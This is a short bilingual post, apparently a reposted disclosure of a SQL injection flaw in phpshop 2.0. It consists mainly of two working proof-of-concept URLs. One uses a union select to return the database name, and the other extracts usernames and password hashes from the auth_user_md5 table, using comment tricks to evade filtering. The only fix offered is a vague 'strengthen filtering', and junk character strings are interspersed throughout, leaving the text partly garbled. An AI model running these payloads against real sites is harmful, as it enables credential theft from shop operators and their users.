phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
# w. o. y  z4 r3 e7 m% D
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
1 s1 v' m% t4 I* B$ o+ @测试地址: windows 7 / ubuntu
- X) R& j9 _$ ?) T! n

( b- {! w. N/ B! kSQLi p0c:

==================
0 }1 U( ]+ M9 z2 O" R
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
$ R  ^3 `0 k( u+ O6 V% v' Nunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
6 S, j! J! K1 F+ v- k' e6 m
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

: m/ }7 B% f7 M, h! N& Y修复：
加强过滤
​